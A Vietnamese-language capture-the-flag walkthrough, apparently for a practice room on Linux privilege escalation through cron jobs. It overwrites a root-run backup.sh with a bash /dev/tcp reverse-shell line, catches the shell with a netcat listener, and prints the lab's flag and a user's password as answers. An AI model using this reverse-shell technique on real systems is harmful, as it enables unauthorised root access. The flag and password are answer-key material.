Description
Linux Privilege Escalation - Cron Jobs
Tận dụng Cron Job để thực thi các script tùy ý nhằm lấy flag và mật khẩu.
Background
Cron job được sử dụng để chạy các tập tin nhị phân hoặc script ở các thời điểm cụ thể với quyền của chủ sở hữu. Nếu ta có thể thay đổi script mà cron job của root user đang chạy thì có thể thực hiện leo thang đặc quyền.
Chúng ta có thể xem danh sách các cron job ở mức hệ thống ở /etc/crontab
.
Minh họa:
Trong trường hợp srcript đã bị xóa mà cron job vẫn còn thì ta cũng có thể tự tạo ra script.
Chức năng của script mà ta tạo ra (hoặc chỉnh sửa) là gửi reverse shell về attacking machine1. Ở trong hình bên dưới, attacking machine nhận được reverse shell có quyền root:
Approach
Flag 5
Ta xem Cron table ở /etc/crontab
thì thấy kết quả như sau:
* * * * * root /antivirus.sh
* * * * * root antivirus.sh
* * * * * root /home/karen/backup.sh
* * * * * root /tmp/test.py
Có thể thấy là script /home/karen/backup.sh
được crob job chạy bằng quyền root mỗi phút.
Đồng thời ở /home/karen
ta cũng có tập tin backup.sh
và karen có quyền ghi trên đó:
-rw-r--r-- 1 karen karen 77 Jun 20 2021 backup.sh
Tiến hành chỉnh sửa tập tin này để tạo ra reverse shell như sau:
#!/bin/bash
bash -i >& /dev/tcp/IP/PORT 0>&1
Với IP
và PORT
là các thông tin của attacking machine.
Đồng thời thêm quyền thực thi cho nó:
chmod +x backup.sh
Ở phía attacking machine thì ta cần chạy một netcat server:
sudo nc -vnlp <PORT>
Đợi một chút để nhận reverse shell và đọc file /home/ubuntu/flag5.txt
để nhận được flag.
Matt’s Password
Đối với yêu cầu lấy mật khẩu của Matt thì ta làm như Linux Privilege Escalation - SUID.
Flag
Flag 5
THM-383000283
Matt's Password
123456
Footnotes
-
Xem thêm Introduction to Shells. ↩